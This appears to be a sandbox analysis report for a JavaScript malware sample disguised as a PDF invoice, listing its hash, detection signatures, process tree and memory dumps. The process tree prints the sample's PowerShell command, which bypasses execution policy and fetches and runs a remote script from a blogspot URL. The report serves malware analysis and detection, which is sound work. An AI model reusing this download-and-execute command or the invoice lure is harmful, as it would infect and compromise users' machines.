Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 10:51
General
- Target invoice-1645080830.pdf43.js
- Size 22.1MB
- Sample260427-mx4hvshx21
- SHA256 2f141bb63946c29b6ebf7d4bbf70a64178101d77edd505d0bbc18f0667ba5dd5
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf43.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_hzd0bift.i12.ps1
memory/1916-0-0x0000019C4E510000-0x0000019C4E51C000-memory.dmp
memory/3768-1-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-2-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-9-0x0000012D2C480000-0x0000012D2C4A2000-memory.dmp
memory/3768-10-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-11-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-12-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-13-0x0000012D2A660000-0x0000012D2A66C000-memory.dmp
memory/3768-14-0x0000012D2BFB0000-0x0000012D2BFC2000-memory.dmp
memory/3768-15-0x0000012D44600000-0x0000012D44610000-memory.dmp
memory/3768-23-0x0000012D2A660000-0x0000012D2A66C000-memory.dmp